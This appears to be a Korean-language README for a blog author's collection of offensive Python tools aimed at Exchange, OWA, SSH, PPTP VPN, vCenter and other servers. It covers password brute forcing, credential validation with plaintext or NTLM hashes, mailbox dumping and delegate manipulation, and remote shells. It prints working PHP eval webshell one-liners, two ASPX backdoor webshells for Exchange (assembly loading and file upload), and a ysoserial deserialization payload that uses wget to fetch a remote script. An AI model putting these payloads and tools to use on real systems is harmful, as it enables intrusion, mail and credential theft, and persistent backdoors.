
Python codes of my blog.
제 블로그의 Python 코드입니다.
무차별 대입 공격(Brute-force attack)을 사용하여 PPTP VPN의 비밀번호를 얻습니다.
파일(wordlist)에서 비밀번호를 읽은 다음 pptpsetup을 사용하여 서버에 연결합니다.
시간 간격은 10초입니다.
포트 스캔에 사용합니다.
타임아웃은 3초입니다.
c++ 버전:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
URL에서 IP를 얻는 데 사용합니다.
Sublist3r의 결과를 직접 사용할 수 있습니다.
Sublist3r의 결과에서 중복 IP를 제거하는 데 사용합니다.
urltoip.py의 결과를 직접 사용할 수 있습니다.
Sublime(F9)을 사용하여 IP를 정렬할 수 있습니다.
파일에서 중복 항목을 제거하는 데 사용합니다.
참고 자료:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
fofa의 api를 호출하고 결과에서 IP를 출력하는 데 사용합니다.
100개의 결과를 얻을 수 있습니다.
fofa의 api를 호출하고 결과에서 IP를 출력하는 데 사용합니다.
VIP라면 10000개의 결과를 얻을 수 있습니다.
참고 자료:
https://seclists.org/fulldisclosure/2019/Sep/31
예시.
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
참고 자료:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
예시.
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Firefox의 비밀번호를 내보내는 데 사용합니다.
Exchange의 버전을 얻는 데 사용합니다.
먼저 URL의 소스 코드를 통해 BuildNumber를 얻은 다음 버전을 얻습니다.
참고 자료:
SMBv3 RCE 취약점을 스캔하는 데 사용합니다.
타임아웃은 3초입니다.
참고 자료:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta 및 Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, 1.4.4_Beta 장치는 cgi-bin/mainfunction.cgi URI의 셸 메타문자를 통해 (인증 없이) 루트 권한으로 원격 코드 실행을 허용합니다..
영향을 받는 제품:
Zimbra SOAP API를 사용하여 Zimbra 메일 서버에 연결합니다.
사용법:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
모드:
예시:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Exchange Web Service의 유효한 계정을 확인하는 데 사용합니다(평문 및 ntlmhash 지원).
참고 자료: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
사용법:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
예시.
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Autodiscover.xml에 접근하여 사용자의 구성을 얻는 데 사용합니다(평문 및 ntlmhash 지원).
사용법:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
예시.
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
checkAutodiscover.py의 확장 모드
매개변수를 추가합니다.
Exchange Web Service에 접근하는 데 사용합니다(평문 및 ntlmhash 지원).
사용법:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
예시.
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
SSH의 유효한 자격 증명을 확인하는 데 사용합니다(비밀번호 및 개인 키 파일 지원).
사용법:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
예시.
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
SSH를 통한 원격 명령 실행(비밀번호 및 개인 키 파일 지원).
사용법:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
예시.
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
eas(Exchange Server ActiveSync)의 유효한 자격 증명을 확인하는 데 사용합니다.
사용법:
easCheck.py <host> <user> <password>
예시.
easCheck.py 192.168.1.1 user1 password1
OWA에 연결하여 Exchange의 유효한 계정을 확인하는 데 사용합니다.
사용법:
checkOWA.py <url> <user> <password>
OWA에 연결하여 메일을 읽는 데 사용합니다.
사용법:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
IMAP을 사용하여 메일 서버에 연결합니다.
사용법:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
NTLM 인증을 구현하고 execCmd.aspx와 통신하는 데 사용합니다.
통신 데이터는 Base64로 인코딩됩니다.
사용법:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
C# 버전: SharpExchangeBackdoor.cs
Exchange 웹셸 백도어에 페이로드를 전송하는 데 사용합니다.
지원:
사용법:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
예시.
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
안전하지 않은 객체 역직렬화 - IMAP
사용법:
<url> <user> <password> <payload path>
예시.
https://192.168.1.1 [email protected] password1 payload.obj
참고:
다음과 같이 payload.obj를 생성할 수 있습니다:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Exchange의 역직렬화 코드 실행을 테스트하는 데 사용합니다.
Exchange 파일의 읽기/쓰기 권한부터 역직렬화 코드 실행까지.
%ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config의 machineKey를 수정하여 역직렬화 코드 실행을 구현해야 합니다.
<path>: owa 또는 ecp
사용법:
<url> <key> <path>
예시.
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Exchange SOAP XML 메시지를 파싱하는 데 사용합니다.
Exchange 관리 센터에 접근하는 데 사용합니다.
사용법:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
vSphere Automation API(v7.0U1+)를 사용하여 VM을 관리합니다.
Windows 및 Linux VM 지원
vSphere Web Services API를 사용하여 VM을 관리합니다.
참고 자료: https://github.com/vmware/pyvmomi/
설치: pip install --upgrade pyvmomi
vCenter의 LDAP 데이터베이스를 관리하는 데 사용합니다.
SolarWinds Orion 플랫폼을 관리하는 데 사용합니다.
SolarWinds Orion API를 사용하여 Orion 플랫폼을 관리합니다.
MailEnable 메일 서버를 관리하는 데 사용합니다.
HTTP 또는 FTP 프로토콜을 통해 결과를 수신할 수 있습니다.
Exchange Web Service에 접근하는 데 사용합니다(평문 및 ntlmhash 지원).
Exchange Web Service에 접근하는 데 사용합니다(평문 및 ntlmhash 지원).
requests_ntlm2를 사용하여 Exchange Web Service에 접근합니다(평문 및 ntlmhash 지원).
requests_ntlm2를 사용하여 Exchange Web Service에 접근합니다(평문 및 ntlmhash 지원).
세션을 사용하여 통신 데이터를 줄입니다.
https://github.com/horizon3ai/vcenter_saml_login에서 수정함
https://github.com/horizon3ai/vcenter_saml_login에서 수정함
Exchange의 버전을 얻고 기존 취약점과 매칭하는 데 사용합니다.
Exchange의 버전을 얻고 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019에서 버전을 파싱하는 데 사용합니다.
https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019를 exchange.data로 저장해야 합니다.
Exchange의 버전을 얻고 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019에서 버전을 파싱하는 데 사용합니다.
Exchange의 내부 IP를 얻는 데 사용합니다.
msf auxiliary/scanner/http/owa_iis_internal_ip 기반이지만 더 많은 Exchange 서버를 지원합니다.
vRealize Operations Manager의 버전을 얻는 데 사용합니다.
bash를 사용하여 명령을 실행합니다.
Sophos UTM의 .plx 파일을 해독하는 데 사용합니다.
참고 자료:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
Sophos UTM의 구성을 파싱하는 데 사용합니다.